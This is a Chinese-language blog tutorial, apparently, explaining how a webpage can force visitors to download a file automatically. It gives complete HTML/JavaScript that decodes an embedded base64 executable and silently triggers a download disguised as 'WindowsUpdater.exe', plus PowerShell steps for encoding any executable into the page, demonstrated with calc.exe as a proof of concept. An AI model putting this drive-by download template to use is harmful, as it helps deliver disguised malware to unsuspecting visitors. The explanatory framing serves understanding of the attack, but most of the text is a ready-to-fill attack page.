很多网友说黑客发一个网址,我点开了之后恶意文件就下载了,这个是怎么实现的欸?今天我们详细带大家来了解一下
index.html
<!DOCTYPE html>
<html>
<head>
<title>听说打开页面电脑就能下载文件</title>
</head>
<body>
<script>
filename = "WindowsUpdater.exe"//这里写用户下载之后的文件
filedata = ""//这里需要填文件数据
//如何生成文件数据?
//我们需要在powershell里运行下面的命令,并将$FileName换成你要指定的文件路径,譬如'C:\Windows\System32\calc.exe'
//模板
//$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
//譬如我们这里想获取计算器程序的data
//$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\System32\calc.exe'))
//我们可以继续输入
//$base64string | Out-File temporary.log
//之后我们打开这个文件
//code .\temporary.log
//之后将这个文件数据复制到上方的filedata=""中
function base64tobytes(b64data){
var binary_values = atob(b64data);
var binary_length = binary_values.length
var bytes_data = new Uint8Array(binary_length);
for ( var i = 0 ; i < binary_length ; i++ ){
bytes_data[i] = binary_values.charCodeAt(i);
}
return bytes_data.buffer;
}
var filebytes = base64tobytes(filedata);
var blob = new Blob([filebytes],{"type":"octet/stream"});
var anchor = document.createElement("a")
document.body.append(anchor);
anchor.style = "display:none;";
var url = window.URL.createObjectURL(blob)
anchor.href = url;
anchor.download = filename;
anchor.click();
window.URL.revokeObjectURL(url);
</script>
<h1>打开页面就能下载文件?</h1>
</body>
</html>
</html>
如何填写filedata
我们这里以计算器为例,我们想最终让用户自动下载弹出计算器,作为POC
首先我们确定电脑中计算器的位置是C:WindowsSystem32calc.exe
然后我们打开powershell输入下面的命令
$base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\System32\calc.exe'))
之后将其输出到temporary.log文件中
$base64string | Out-File temporary.log
图片[2]-黑客如何通过JavaScript让网页访客自动下载文件?-
然后我们可以去输入命令的目录下,查看temporary.log文件
图片[3]-黑客如何通过JavaScript让网页访客自动下载文件?-
将里面的内容复制到""双引号中间
filedata = ""//这里需要填文件数据
Comments | NOTHING
该文章已经关闭评论